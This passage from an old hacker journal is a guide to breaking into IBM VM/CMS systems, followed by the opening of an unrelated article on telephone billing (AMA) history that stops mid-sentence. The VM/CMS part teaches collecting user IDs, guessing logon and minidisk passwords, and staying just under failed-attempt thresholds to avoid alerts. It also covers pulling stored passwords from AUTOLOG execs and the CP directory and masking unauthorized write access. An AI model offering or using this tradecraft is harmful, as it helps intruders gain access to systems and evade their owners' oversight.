userid. +If it is running it will be a valid userid, and who knows, you may even hack +the password. + + +After entering a bad password ACF2 (Access Control Faclity 2) responds with: + +ACFV1012 PASSWORD NOT MATCHED +ACFV0044 ACF2, ENTER PASSWORD + + ************************** + HHHHHHHHHHHHHHHHHHHHHHHHHH + SSSSSSSSSSSSSSSSSSSSSSSSSS +. + +These packages provide information which SHOULD be inherent within the +Operating System itself. Perhaps newer versions of CMS will contain them. Some +of these features are: + +* Last logon date/time +* Password expiration +* Rules for password selection +* Invalidating userids for invalid password attempts +* Invalidating terminals for invalid password attempts +* Shows users how many invalid password attempts have occured on their userid +* Increased file security + + +LOGGED ON: +---------- + +After logging on you may receive something similar to the following: + +ASD 190 LINKED R/O; R/W BY MAINT; R/O BY 030 USERS + +LOGMSG - 10:40:25 EST FRIDAY 05/22/87 + +********************************************************************* +* WELCOME TO MISCELLANEOUS COMPUTER SERVICES * +* -VM1- * +* SYSTEM WILL BE DOWN FROM 10:00 TO 10:30 EST SUNDAY MAY 24, 1987 * +********************************************************************* +Logon at 13:22:59 EST FRIDAY 05/22/87 +VM/SP REL 4 04/20/86 11:33 + +R; T=0.01/0.01 13:23:10 +. + +Line #1: This line shows that the disk at virtual address 190 is linked with + R/O access by you, R/W by userid MAINT and R/O by another 30 users. + +Line #2: This shows that the logon message was created at 10:40 on Friday. + +Line #3-7:This is the message that is shown to all users of the system upon + logging on.

Every CP command belongs to one of eight IBM +defined privilege classes. The CP directory defines which users can use which +classes of commands. Each user has one or more privilege classes, as does each +CP command. If you try to issue a command that does not match the assigned +privilege class of the userid you are using, the system will not process the +command. As far as I know, no records of attempts to use privileged commands +are kept. + + +Class User and Function +--------------------------------- + A Primary System Operator: The class A user has the ability to + control the system. Any user who uses the VM/SP system console + posseses this privilege class. This user can broadcast messages, + control system accounting, and issue commands which affect the + overall performance of the system. + + B System Resource Operator: The class B user has the ability to + control all the "real" resources of the system, except those + controlled by the spooling and primary system operators. + + C System Programmer: Class C users can modify real storage as + opposed to virtual storage. + + D Spooling Operator: The class D user controls spooling data + files. + + E System Analyst: Monitors and interprets system performance data. + + F Service Representative: This class is usually given to accounts + that IBM Field Service personnel use for updates and also for + diagnosing system problems. + + G General User: Class G users are the most prominent on the + system. This privilege allows the user to control functions + associated with their own virtual machine. + + Any The Any classification is given to certain CP commands which are + available to any user. The commands are usually limited to Login + and Logoff. + + H Class H is reserved for IBM use. + + +Due to the individual needs of a site, privilege classes can be tailored to +suit the facility. A total of up to 32 classes can be made. They would be +shown in the CP directory as A-Z and 1-6. + +Typical Privilege Classes for a few common userids: + +Userid: P.C. +------------------------- +OPERATOR A +EREP F +OPERATNS BCEG +MAINT ABCDEFG + + + +COMMANDS: +--------- + +Commands are made up of command names, operands, and options. + +Command Name: A command name is an alphanumeric symbol of up to 8 characters. + +Operands: These specify the information on which the system operates when it +performs a command function. + +Options: These keywords are used to control the execution of a command. When +used, they must be preceded by a left parentheses, but a closing one is not +necessary. + +Different commands are used within different environments. To see which +environment you are in, simply hit return at the period prompt. You will +receive one of the following: CMS, CP, XEDIT. + +There are many commands that are useful to both regular system users and +hackers. HELP is available on some systems, particularly on university systems. +It is extensive but not as clear as yes, UNIX or VMS which is typical of IBM. +Nevertheless, HELP is useful and you should get hardcopies of as many commands +as you can. AID is another form of HELP which may be useful to you in learning +more about the system. + +One nice feature of CMS HELP is that when you receive an error message, you +can: + +.HELP DMS000000 or DMK000000 + +Where DMS000000 or DMK000000 is the error message you have received. The system +will then explain what it is, why it happened and how you can correct it. + +I am going to hold off on explaining any and all commands related to minidisks +until the next section. The others which I have found to be useful are as +follows. + +You can issue any CP command while in CMS by precluding the command with CP. + + +QUERY + +Query allows you to obtain various information about the system. A full list +can be found from using HELP. + +One of the most important QUERY commands to the hacker is: + +.Q NAMES + +OPERATOR - 01F, SMART - DSC, CMS0349 - B27, LOGO0180 - B31 +VSM - VMVS1 +SCOTT -TP11WFM2, CMS1211 -TP11WF64, OPERATNS-TP11WFY1 +R; T-0.01/0.01 11:34:28 + +There can be many users online, usually this list will contain from 30 to 100 +users. The last user online was OPERATNS, since it was last in the list. The +SMART userid is DSC, or in a disconnected state. Usually a terminal will +remain disconnected for 15 to 30 minutes and then is totally logged off the +system. If you logon to an already disconnected terminal, the system will reply +with "RECONNECTED AT time". The other 2 userids on the same line as SMART are +probably connected terminals which are in a pre-logged in or pending logon +state. VSM - VMVS1 is another system running parallel to (or under) CMS. + +The QUERY NAMES command allows you to gain a little more security for yourself +on the system. It allows you to gain more valid usernames to attempt passwords +for in the unfortunate event that your current userid dies. Another use is that +you can start to compile your "common accounts" list of userids which are found +on VM/CMS systems. This list should get larger and larger as you gain access to +more and more systems and will allow you to gain access to more systems as it +gets larger. + + +If you can't count how many users are online from the Q NAMES list: + +.Q USERS + +0007 USERS, 0000 DIALED, 0000 NET + + +If you didn't catch the logon message you can view it again by: + +.Q LOGMSG + + +To see what release of CMS the system is: + +.Q CMSLEVEL + +VM/SP REL. 4, SERVICE LEVEL 417 + +If you are wondering which IBM mainframe CMS is running on, you can issue: + +.Q CPUID +FF01472343810000 + +This can be interpreted as follows: + +CPUID= aabbbbbbccccdddd + +aa= "FF" when running VM/SP +bbbbbb= The processor ID number +cccc= The model number of the system. In the above case, CMS is running on + an IBM 4381 system. +dddd= "0000" This is not used for CP. + + +SENDFILE allows you to send files within any minidisk that is currently +accessed by you to another user. Anytime you send a file an entry is made in +the file USERID NETLOG (where USERID is the user you are sending the file to). +This command is also used for sending NOTE files which can be created with an +editor and send to whomever as E-MAIL. + +If you are tired of seeing a text listing, or have attempted to read a compiled +program and wish to exit or break out of it, simply hit a hard-break, and then +type HX. HX is for Halt eXecution. It will halt whatever you are doing and put +you back into the CMS environment. It may take a few lines of text after +entering it for the system to stop the process. + + + + --- End of Part A --- + --- Attach Part B here --- + +The LOD/H Technical Journal: File #9 of 10 + + + Hacking IBM's VM/CMS Operating System + PART B + +Command Interpretation Chart: The following chart will compare the commands +used on VAX/VMS, UNIX, and VM/CMS to allow those who are familiar with the +other Operating Systems to quickly reference its CMS counterpart. + ++-----------------+---------------+----------------------+--------------------+ +!

They are +customized commands that suit a facilities' needs. These commands are execs +which are either not available from IBM or are cheaper to write on their +own. I will mention a few which may be found on other systems, as these are +rather common. + +WHOIS + +This command gives a little information about the users that you specify which +are on the system. + +.WHOIS MAINT BACKUP MAILER BUBBA RELAY VMUTIL + +Userid Name +--------- --------- +MAINT System Maintenance Account +BACKUP VM System Backup and Recovery Machine +MAILER BITNET Inter-Node Mail Processing Machine +BUBBA Bubba B. Bonehead - Programmer/Analyst Extroadinaire +RELAY BITNET Internet Chat Facility +VMUTIL VM Utilization Statistics + + + +SYSPASS +READPW +WRITEPW + +In most cases, the only way to change a users' password is by having the system +operator or someone with high privileges do it. This is one reason why many +passwords remain the same for long periods of time. These programs allow users +to change their logon password, read access minidisk password and write access +minidisk password respectively. Perhaps you will find these or similar programs +on some systems. + + +Privileged Commands: +-------------------- + +As far as I know, there is no command to determine which privilege class the +userid you are abusing is. The only way is to check in the CP Directory for it. +The following are some privileged commands and what privilege class is needed +to run them. Again, as far as I know, the system keeps no records of failed +attempts at running privileged commands. Use of these commands are most likely +recorded, has a msg sent to the system console or both, especially when using +FORCE. + + +FORCE userid (Class A) + +This command will forcibly log off the userid you specify. I really can see +no reason other than to be a total asshole for abusing this command. + +DISABLE raddr (or) all (Class A or B) + +This is used to prevent specific terminals or all terminals from logging onto +the system. Again, there is no real reason to use this or most other privileged +commands for that matter unless you want to be kicked off of the machine. If +you do DISABLE a terminal, simply use ENABLE to repair the damage. + +DETACH realaddr (FROM) whatever (Class B) + +This is used to detach real devices from the system. These can be terminals, +printers, disk packs, tape drives, etc. You must know the real address of the +device, and 'whatever' can be the system, or a userid. + +WARNING userid (or) operator or all (Class A or B) + +Warning will send a priority message to a user, operator or all users on the +system. It will interrupt anything they happen to be doing. Obviously sending +a msg to all users stating they are BONEHEADS is not recommended. + + +MINIDISKS: +---------- + +A minidisk is a subdivision of consecutive cylinders on a real DASD volume. The +real DASD device, is the actual disk the information is stored on. This can be +compared to a hard drive for an IBM PC. Before the drive can be used, it must +be formatted. Once formatted, it is divided up into directories which are +minidisks. Each minidisk is a number of cylinders which is the standard memory +storage unit. There can be many minidisks on a DASD. Associated with each CMS +disk, is a file directory, which contains an entry for every CMS file on the +disk. A minidisk can be defined for R/W or R/O access. It can also be used for +temporary or permanant storage of files. Each minidisk has a virtual address. +Virtual addresses can be from 001-5FF (hexidecimal) in basic control mode, and +001-FFF in ECMODE (Extended Control Mode). + +CMS minidisks can be accessed according to a letter of the alphabet (A-Z). In +order to better explain this, lets assume we are logged onto a VM/CMS system +under the userid of JOE and we want to see what minidisks we have access to. +We use the QUERY SEARCH command to determine which disks we are ATTACHed to. + +.Q SEARCH + +JOE001 191 A R/W +JOE002 192 D R/O +CMS190 190 S R/O +CMS19E 19E Y/S R/O + + +As can be seen each minidisk has a volume name, virtual address, filemode, +and access mode. The A disk is the default. Most accounts you gain access with +will have an A disk with a virtual address of 191. The S disk is the System +disk. This contains the files and programs for running the system. The same +goes for the Y disk. The D disk is another disk used by JOE. + +You can view what each of these directories contains by issueing the LISTFILE +command. + +.LISTF + +BUBBA NOTE A1 +MISC WHATEVER A1 +PROFILE EXEC A0 + + +This is a list of files on the A disk. The first column is the Filename the +second is the Filetype and the third is the filemode. Filenames can be anything +you specify. Filetypes can also be anything you specify, but commonly follow a +pattern which tells what type of file it is. Filemodes are comprised of a +filemode letter (A-Z) and a filemode number (0-6). + +Filenames can contain the following characters: A-Z 0-9 $ # + - : ` U + +Here is an explanation of common filetypes: + +Filetype ! Description +---------+------------- +DATA ! Data for programs or simply TYPE-able text. +EXEC ! User written programs or IBM procedures written in REXX. +HELP ! System HELP files. +HELPCMS ! System HELP files. +LANGUAGE ! One of the langauges that the system supports, such as ASSEMBLE, + ! COBOL, FORTRAN, JCL, REXX, PL1, SNOBALL, BINARY, ETC. +LISTING ! Program source code listings +LOADLIB ! Loading Library +MACLIB ! Macro Library +MODULE ! System commands +NETLOG ! Contains a list of all files which have been SENT to other users. +NOTE ! Similar to E-MAIL on other systems, a note sent from another user. +SOURCE ! SOURCE code for various programs. +TEXT ! Text file. Probably used for programs and when TYPEd yields little. +TXTLIB ! Text Library +WHATEVER ! A nonstandard filetype which will probably be somewhat descriptive + ! of its contents. +XEDIT ! A file which was created using the XEDIT utility. + + +Both filenames and filetypes must not exceed 8 characters in length. + + +Filemodes: + +Filemode numbers are classified as follows: + +Filemode 0 There is little file security on VM/CMS. This may be due to the + fact that directory security is very good. A file with a mode of + zero makes that file invisible to other users unless they have + Read/Write access to that disk. When you LINK to someones' disk + in Read/Only mode and get a directory listing, files with a mode + of 0 will not be listed. + +Filemode 1 This is the default filemode. When reading or writing files, you + do not have to specify a filemode letter of 1 (unless you want + to) since it will default to it. + +Filemode 2 This is basically the same as a filemode of 1. It is mainly + assigned to files which are shared by users who link to a common + disk, like the system disk. + +Filemode 3 Be careful when you see these! These are erased after they have + been read. If a file with a mode of 3 is printed or read it will + be erased. Blindly reading files without paying attention to + the filemode numbers can shorten your stay on the system. The + main reason for this filemode is for the files or programs which + are unimportant or have one time use can be automatically deleted + to keep disk space and maintenance to a minimum. + +Filemode 4 This is used for files that are to simulate OS data sets. They are + created by OS macros in programs running in CMS. I have not found + any files with this filemode, so for the time being, you should + not be concerned about it. + +Filemode 5 This is basically the same as filemode 1. It is different in that + its used for groups of files or programs. It makes it easier for + deleting files a user wants to keep for a certain period of time. + You could just enter: + + ERASE * * A5 + + Now all files on the A disk with a filemode of 5 will be deleted. + +Filemode 6 Files with this mode are re-written back to disk in the same place + which is called "update-in-place". I have no idea why this would + be specified, and have not found any files with a filemode of 6. + + +Filemode 7-9 These are reserved for IBM use. + + + +Look back to our Q Search listing. If you want to see what is on the D disk: + +.LISTF * * D + +NOTMUCH ONHERE D1 + +In this case, the D disk only contains 1 file called NOTMUCH with a filetype of +ONHERE. But do not forget the fact that you only have Read/Only access to the +D minidisk! So there may or maynot be merely 1 file on the D disk. Remember all +filemodes of 0 (which in this case would be D0) are invisible to anyone who +does not posses Read/Write access. + +You can access any disk that you are ATTACHed to by replacing the D in the +above example with the filemode letter (A-Z) you want to access. As was shown +previously, the QUERY SEARCH command will give you a list of minidisks that +your userid is attached to upon logging in. These command statements are +usually found in your PROFILE EXEC. + + +So you can access a few minidisks. There may be hundreds on the system. Unlike +UNIX and VMS, and most other Operating Systems for that matter you cannot issue +a command and some wildcard characters to view the contents of every users' +directory. In order to access another users' directory (minidisk) you must have +the following: + +1) The USERID of the person whose disk you wish to access. + +2) The virtual address(es) (CUU) that the USERID owns. + +3) The Read, Write, or Multi disk access password, depending on which + access mode you wish to use. + +This would be accomplished by the following: + + +.LINK TO BUBBA 191 AS 555 RR + +Enter READ link password: + ************************* + HHHHHHHHHHHHHHHHHHHHHHHHH + SSSSSSSSSSSSSSSSSSSSSSSSS +.RBUBBA + +R; T=0.01/0.01 21:58:48 +.ACCESS 555 B + +R; T=0.01/0.01 21:59:03 +.Q SEARCH + +JOE001 191 A R/W +BUB001 555 B R/O +JOE002 192 D R/O +CMS190 190 S R/O +CMS19E 19E Y/S R/O + +.LISTF * * B + +MISCFILE DATA B1 +PROFILE EXEC B1 + +.REL 555 + +R; T=0.01/0.01 22:02:01 + +Now an explanation for the events which have just occured. + +The LINK command is used to access other users' minidisks. The format is: + +.LINK (TO) USERID VADDR1 (AS) VADDR2 (MODE) ((PASS=)PASSWORD) + +BUBBA is the USERID whose disk we wish to access. + +VADDR1 is a virtual address which belongs to the BUBBA userid. If BUBBA was to +access our minidisk whose userid is JOE, he could access either our 191 address +or our 192 address. The 190 and 19E addresses are usually automatically +accessed by nearly all the users of the system since it contains system +commands. We are assuming that BUBBA indeed has a minidisk with the virtual +address of 191. Some userid's may not have any or they may have addresses which +are somewhat obscure, say of 13A or 503. The only way we would be able to +access those assuming BUBBA did not give them to us would be to guess them. +This would be rather difficult, timeconsuming, and dangerous as we will soon +see. + +VADDR2 is any address which is not currently in our control, (ie. in our Q +Search which would be 190, 191, 192, 19E) and is in the range of 001 to 5FF in +Basic Control or FFF in Extended Control. In this example, we chose to use 555. +We could have easily used 104, 33F, 5FA, etc. + +MODE is the access mode which consists of up to 2 letters. The first letter +specifies the Primary access mode. The second letter is optional and designates +the alternate access mode. If the primary mode is not available, the alternate +is used. + +The access mode we used was RR. Valid access modes are: + +R Primary Read/Only access. This is the default. You can opt to not specify + an access mode when linking to a users' disk, and this is the mode which is + used. It will only work if no other links are in effect. + +RR This allows read access no matter what links are in effect to that users' + disk. + +W Primary Write access. This is only good if no other links are in effect. + +WR If Write is available then the link will be made, if not it will goto Read. + +M Primary Multiple access. + +MR Resorts to Read if Multi is unavailabe. + +MW This garauntees write access no matter what. + + +If another user has write access to one of your disks when you log on, your +access will be forced to Read/Only. For this reason, you should have read +access to others disks instead of write. If you wish to see what files have a +filemode of zero, then link with write access, view or access those files, then +RELEASE the disk and re-access it via read to avoid suspicion by that user of +unauthorized individuals gaining write access to his files. + +If a user has write access to a disk, you cannot gain write access unless you +use a mode of MW. It is not recommended to have write access to anothers' disk +if they themselves have write access. CMS cannot guarantee the integrity of +the data on a disk which has more than one person linked to it with write +access. Now if you see that the user is in a disconneced (DSC) state through +the Q NAMES command, then it shouldn't be a problem if you have write access +also since the person is not active. If that person re-connects however, then +it is advisable to RELEASE that disk as soon as possible to avoid any chance of +data being destoyed. + +PASS=PASSWORD like the logon password, it can be a 1-8 character string that +MUST match the access mode password for the VADDR1 of the userid which you are +attempting to gain access to. Up to three access mode passwords can exist for +each minidisk, R, W, and M. + +If the installation uses the Password Suppression Facility, an INVALID FORMAT +message will be issued when you attempt to enter the password for a disk on the +same line as the LINK command was entered on. Obviously this is to prevent +people from 'spoofing' the password off the screen or from printouts found in +the trash. If this occurs, just hit return after entering the access mode, and +wait for the enter password response. + +Every disk password along with every users password and other information is +contained in the CP Directory. If the password is "ALL" then a password is not +required for any user so you will not be asked for one. You will then recieve +a ready message indicating that the transaction has just been completed. + +If you receive the message: "BUBBA 191 NOT LINKED; NO READ PASSWORD" then +within the CP Directory, there is no read password at all. This means that the +only way you can gain access to BUBBA's directory would be by getting his logon +password. One note, I believe that a users logon password cannot be any of his +access mode passwords. The reasons for this are obvious. If BUBBA wants JOE to +access a disk, then he can give JOE the corresponding disk password. If this +was identical to his logon password then JOE could logon as BUBBA and access +all BUBBA's disks with no problem, and at the same time posses all the privs +that BUBBA has. Within the CP directory, if there is no password entry for read +access then there are no entries for write nor multi. If there is no entry for +write then there may or may not be an entry for read, but definitly not one for +multi. And finally if there is no entry for multi then there may or may not be +entries for read and write. + +The methods for obtaining disk access passwords are the same as anything else. +Common sense and "Password Psychology" come into account along with the element +of luck. + +Assume the userid is VMTEST and you are hacking the READ password. Passwords +may be: RVMTEST, RVM, RTEST, RTESTVM. Others may be READ, READVM, VMREAD, +READTEST, TESTREAD and even VMTEST. Of course it could be something like: J2*Z5 +Many times the same password will be used for R, W, and M access instead of +three separate passwords. + +CP keeps track of unsuccessful LINK attempts due to invalid passwords. When you +exceed the maximum number of incorrect password attempts, which usually +defaults to 10, the link command will be disabled for the remainder of your +stay on the system. All you have to do is re-logon and you will have full use +of LINK again. + +If the LOGON/AUTOLOG/LINK journaling facility is activated, unsuccessful link +attempts due to the above are recorded. When the threshold is reached the +userid whose password you are trying to hack is sent a message. Therefore, keep +track of the number of attempts you make and keep just short of the system +threshold. + +After successfully linking to a users' disk, you must issue the ACCESS command +in order to get a directory listing or access any files on that disk. This is +accomplished by: + +.ACCESS VADDR2 B + +VADDR2 is the address after 'AS' in your link command line, and 'B' is the +filemode letter which you wish to access the disk as. This can be anything but +the letters which you have already assigned up to a total of 26 (A-Z). + +After accessing the disk to your hearts content, you can then RELEASE it. When +you logoff the disk is automatically released. Releasing the disk is not +necessary unless you already are attached to 26 minidisks, and you want to +access more. You would then release whatever disks you wish and link then +access others. After releasing disks, and you want to re-access that disk, you +do not have to issue another link command but merely the ACCess command and +what filemode you wish it to be. + +The QUERY DASD command will list the minidisks that most everyone on the system +has access to. All of these may or maynot be automatically accessed upon logon. +For this reason, you should issue it, then all you have to do is ACCess the +virtual address and define the filemode. + +.Q DASD + +DASD 190 3380 SYSRES R/O 32 CYL +DASD 191 3380 SYSRES R/W 1 CYL +DASD 192 3380 SYSRES R/O 2 CYL +DASD 193 3380 SYSRES R/O 19 CYL +DASD 194 3380 SYSRES R/O 21 CYL +DASD 19E 3380 SYSRES R/O 27 CYL + +In our Q SEARCH list, we have access to 190 as the system disk, 191 as our A +disk, 192 as our D disk, 19E as the systems' Y disk. Both 193 and 194 are +accessable but have not been accessed by us. Thus: + +.ACC 193 B +B (193) R/O +. + +Now the 193 disk is our B disk and accessable by us. You can perform the same +procedure for the 194 disk. + + +DIRMAINT: +--------- + +The Directory Maintenance utility can be found on some systems. If it is +running, DIRMAINT should be a valid userid. The DIRMAINT userid is +automatically initialized when the system is started up. It remains in +Disconnected mode awaiting transactions which contain directory maintenance +commands. + + +If you come across a system with DIRMAINT, it will provide you with all the +information you need to know about it. A few commands are important, at least +to the hacker: + +MDPW This displays access passwords for one or all of that userid's minidisks. + +.DIRM MDPW +DVHDIR005R ENTER CURRENT CP PASSWORD TO VALIDATE COMMAND OR A NULL TO EXIT: +R; T=0.12/0.15 19:33:34 + DVHMDF301I MINIDISK 191: RBUBBA WBUBBA MBUBBA + DVHMDF301I MINIDISK 192: RBUBPW BONEHEAD MULTIBUB + +The reason you must enter the users logon password is obvious. If someone walks +up to a users terminal and wants to know what the guys disk passwords are all +he would have to do is enter this command and would get them, except for the +fact that it does ask for the users logon password, thus, protecting the disk +passwords. + +Help Get more info on DIRM commands. +PW This changes a users logon password +PW? Find out how long it was since the user changed his logon password. +MDISK Change access mode, change, add, or delete passwords. +LINK Cause an automatic link, at logon, to another users minidisk. +FOR Enter a DIRMaint command for another user if authorized. + + +THINGS YOU WANT: +---------------- + +Things you want are: More valid userid's to try passwords on, actual logon +passwords, and disk access passwords. Obtaining userid's can be accomplished by +using the Q NAMES command every time you logon. Obtaining logon passwords isn't +as simple. There are a couple of places which you will want to explore. + +The AUTOLOG1 or AUTOOP virtual machines (userid's) usually auto-logon other +userid's. Now, in order to do this they must have those users' passwords. These +are contained within various EXECs within their user directory. If you can +obtain a valid disk access password for whichever one of these is running on +your particular system, you can get more passwords and possibly some disk +access passwords for about 10 other userid's. This should allow you to get more +disk access passwords and hopefully more logon passwords. Nevertheless, having +obtained a few more passwords, and not using them until the original one you +hacked dies, will greatly extend your stay on the system. + +EXEC files from any user may contain more disk access passwords for other users +and those users directories may contain EXECs which have more passwords, and +so on. Of course many other types of files may contain this type of +information. + +The CP directory, this is similar to a big bullseye on a target. This +directory, as previously explained contains users' passwords, various system +information and minidisk passwords. The directory usually goes under the +filename/filetype of USER DIRECT. It can be anywhere on the system, and can +have a different name which in my view would add to system security. It is +usually found in either or both of two users' directorys which I leave to you +to find (sorry).

I apologize for its length of over 50K but I wanted to mention +everything you needed to become familiar with the Operating System and its +Security/Insecurity. I intentionally 'forgot' to mention various information +which would put sensitive and destructive information in the hands of anyone +who reads this article. The information within this article can and will be +different from system to system so don't take anything too literally. This +article is comprised: 80% information from actual system use, 10% CMS help +files, and 10% from various CMS documentation.

Keep in +mind, however, that the information here may not be applicable to your +specific area or telco. The information contained herein generally applies to +the BOC's, and if you are served by an independent telco, your method of +billing may differ. + + This article is aimed more towards the more experienced telecommunications +enthusiast. People with limited knowledge may have a hard time understanding +the information presented here. However, if you can contact me I will try to +answer any questions or clarify anything included in this article that isn't +understood. + + Information will be included in this article concerning the use of AMA in +the past. This is being done for people in older areas or areas served by an +independent telco that may still be using the old technology. + + +HISTORY +------- + + In the past, Call Detail Record (CDR) information was collected and +recorded by cordboard operators in a process known as manual ticketing. The +operator recorded this information by writing it down manually upon a +formatted record called a ticket. These tickets were sent to the appropriate +office where billing was handled. This manual ticketing process was +time-consuming, and was phased out with the introduction of electromechanical +switching. + + Before the advent of AMA, a magnetically operated counter called a message +register was associated with each subscribers line in a given central office. +This counter was responsible for counting the number of calls that each +subscriber made, for billing purposes. This message register was caused to +operate one or more times when the called party answered the telephone. The +way this works is when the called party answers, a reverse battery signal was +sent back over the trunk circuit to activate a relay in the originating office +which was responsible for the application of a 48-volt battery to advance the +message register the appropriate number of units. A local call is/was usually +one message unit, regardless of how long the call lasted. Local calls to +further away areas were/are usually two message units. Long distance calls +were handled either by cordboard operators, using manual ticketing, or by a +method not involving operators known as zone registration. With zone +registration, calls to different zones would cause the message register to +operate two or more times per time period. This would make the cost higher for +longer calls, and less for shorter calls. + + At the end of the billing period, each message register had to be manually +photographed to keep track of the number of calls made by that specific +subscriber. These photos were taken by a 35 millimeter camera that was known +as a Traffic Usage Recorder, and then sent to the same place that manual +tickets (prepared by operators) were. However, this method of billing soon +grew costly and inefficient, so a new method, LAMA (Local Automatic Message +Accounting) was developed. Additional and more specific information shall be +included later in the article. + + In the late 1940's, the Bell System developed LAMA, which recorded the +billing information in a much more efficient manner. However, some end offices +did not have enough call traffic to warrant the installation of LAMA +equipment. To solve this problem, CAMA (Centralized Automatic Message +Accounting) was developed in the mid 1950's. CAMA was different from LAMA in +that it was based in a toll or tandem office and could record the AMA +information for every end office that it served. More on LAMA and CAMA will be +included later in the article. + + Another development concerning AMA is the computerization of the system, +named LAMA-C or CAMA-C, for 'LAMA-Computerized' or 'CAMA-Computerized'. CAMA +had used paper tape perforators for a time before the magnetic tape method was +introduced with CAMA-C. LAMA-C is a computerized version of LAMA which also +uses magnetic tape (LAMA-C is still used today). LAMA and LAMA-A (previous +versions) used paper tape, although LAMA-A was more efficient. + + LAMA, LAMA-A, CAMA, and CAMA-C were all part of the AMARS, the Automatic +Message Accounting Recording System. However, a newer term for more modern +setups is the AMACS, for Automatic Message Accounting Collection System. The +AMACS includes end office AMA systems, a recent introduction called the AMARC +(AMA Recording Center), AMARC sensors from end offices to the AMARC, the data +links used to transmit billing information, and data recievers located at the +AMARC site. The AMARC is a product of the new age of computerized technology +as it applies to the telecommunications systems used in our society. Still, +LAMA and CAMA and their different versions shall be described and explained to +help people understand how they were/are used. + + +LAMA +---- + + LAMA is described by Notes on the Network (1983) as 'A process using +equipment located in a local office for automatically recording billing data +for message rate calls and for customer-dialed station to station toll +calls'. What this is means is that if your CO uses LAMA, and you are on a +single party line (most people are), all 1+ toll calls will be billable by +LAMA equipment, and all calls coming from message rate lines. A message rate +line, for those of you not familiar with the term, is a telephone line that +has the ability to receive incoming calls, but all outgoing calls will cost +the subscriber. The subscriber pays for basic service (the ability to receive +calls) with the consideration that all other calls (even local ones) will cost +a certain amount of money per call. Many subscribers in several major cities +get this feature automatically, and thus phone bills are generally higher in +these areas. + + LAMA originally recorded billing information on punched paper tape, in a +version known as LAMA-A, but now magnetic tape is generally the format used in +places where LAMA-C equipment is used. The paper tape perforators that +recorded the CDR data in LAMA-A were noisy, and they needed maintenance due to +their electromechanical construction. The magnetic tape method is much more +reliable, and quieter as well. + + If a persons End Office uses LAMA, then all toll calls from all lines and +all local calls from metered rate lines are recorded on the LAMA tape, with a +few exceptions. LAMA can only be used to record AMA information for one and +two party lines. On other party lines such as three and four party, the +originating caller has his/her number identified by an operator via the ONI +(Operator Number Identification) method. It is not been determined by the +author if the BOC (Bell Operating Company) operators such as TOPS (Traffic +Operator Position System, made by Northen Telecom Inc. of Canada) or MPOW +(Multi-Purpose Operator Workstation, by US West) operators would be used for +this ONI or not. I would guess that AT&T TSPS operators would handle an +inter-LATA toll call, and that the BOC TOPS/MPOW operators would handle the +ONI for an intra-LATA call (my reasoning behind this statement is the fact +that whenever I have had an ONI due to equipment failure, which is similar to +ONI needed, only the ANI outpulsing was garbled, the called number was still +transmitted in the correct fashion. I am assuming that the end office +switching system would route the call to the correct operator position by +matching the NPA-NXX with some sort of internal table which makes a +distinction between intra and inter-LATA calls). Anyway, these calls had their +AMA information sent from the appropriate operator position to the toll office +that served the 3+ party line, onto CAMA tape. Another instance in which a +LAMA office may use CAMA instead is when an ANIF (ANI Failure) occurs. If the +ANIF is sent to TSPS, then that TSPS will record billing information upon CAMA +tape by using ONI. It seems that AMA information that has been recorded by an +operator is buffered and stored until it is time to send the information to +the appropriate places for processing. In the case of AT&T TSPS operators, the +TSPS had it's own magnetic tape which was sent to the RAO (Regional Accounting +Office, formerly called Revenue Accounting Office) on a regular basis. I am +not sure if this method is still used or if TSPS AMA has been updated or +enhanced in some way. + + +EXAMPLES OF LAMA USAGE +---------------------- + + The following is the call flow procedure in a LAMA-A (paper tape) system. + + After a customer completes dialing, the dialed number (the called number), +the originating class of service, Line Equipment Number (LEN), and call type +are sent from the switch to the AMA equipment. Translations, such as figuring +the billing telephone number from the Line Equipment Number, are done. The +information that comes from the translations procedures determines which paper +tape perforator shall be used to record the data for this specific call. A +record of the initial information gathered is called the initial entry. The +last line of the initial entry contains a two digit code called a Call +Identity Index, which identifies telco equipment such as the trunk or district +junctor that will be used for that call. + + When the call is answered, another entry is made, called the answer +entry. This entry is a single line on the paper tape and has the CII and the +exact time that the call was answered on it. + + The last entry on the paper tape is known as the disconnect entry. This +entry contains the CII and the exact time that the call ended. + + The CII is important because it is what the RAO used to group together all +the data about a given call. Entries are recorded at different times in a LAMA +system, they are not in sequential order, so the CII makes it easier to find +all three entries for a specific call. + + This method of recording AMA information required the RAO to 'unshuffle +the deck' when it came time to organize the AMA information. The variations in +the AMA recording formats used by different switching systems eventually led +Bellcore to develop a standard AMA format, named the Bellcore AMA Format +(BAF). More information will be included about this format later in the +article. + + In a No. 5 Crossbar switching system, the AMA setup used special purpose 3 +inch wide paper tape on which AMA records were recorded by CO equipment. This +method of recording is for the stone ages, as it has been phased out by almost +every BOC. Similar to the LAMA-A call flow, this method of AMA used three AMA +entries. The first one was the customers service information, which included +the calling and called telephone numbers, the second one was recorded when the +telephone was answered, and the third one was recorded at disconnect. This +also made the job at the RAO a bit harder, as again, they had to 'unshuffle +the deck'. + + The No. 2 ESS introduced the latest magnetic tape recording technology +that was available at that time. The 2E used 200 BPI, 7 track mag tapes, and +it introduced special data coding conventions. It's technology and +conventions are still in use today, but I think that the BPI and number of +tracks have been increased. The 2E mimics the No. 5 Crossbar AMA method by +recording three entries and interleaving them on the magnetic tape. Data +common to all calls on a tape (such as date, CO info, etc.) are recorded in +special tape headers. The No. 2B ESS was introduced with the same AMA +technology as the 2E, but a 2B that provides equal access capabilities for +interexchange carriers adds a new data entry to the three used by the 2E. This +new entry reports the time of connection of a carrier to the local network, +which is needed for carrier access billing. + + The No. 1 ESS modernized the AMA process even more. The 1E used 200 BPI, +nine track tape. The 1E provides data collection memory registers for AMA +information on applicable calls. A register is assigned to an AMA call and +kept open for the call's duration. This register collected most of the billing +data that was needed. The AMA information was then written to magtape at the +time of disconnect. This made it easier for the RAO to process. The AMA +format used by the 1E uses variable length records whose fields occur for the +most part in a general, preset pattern. Eventually, though, even the 1E AMA +method was found to be slightly faulty. This was due to high processing costs +at the RAO and the problem of tape headers getting erased from the tape. The +BAF was made to solve the problems that are associated with other AMA setups. +An update to the BAF is called the EBAF, or Extended Bellcore AMA Format. The +main difference between the BAF and EBAF is that EBAF is more flexible and can +be used easier, as the BAF uses a defined structure for storing data. The EBAF +can append other information to the end of an AMA record, and this makes it +more flexible. + + +ANI FORMATS +----------- + + The ANI formats outpulsed in a LAMA arrangement are as follows (assume +that the call being shown for an example is being dialed from a home +telephone, as dialing from coinphones would cause different ST signals to be +sent; also the type of signaling in this case is SF in-band): + + + CALLED number:KP+(NPA)+NXX+XXXX+ST + + CALLING number:KP+I+NXX+XXXX+ST + + + The second 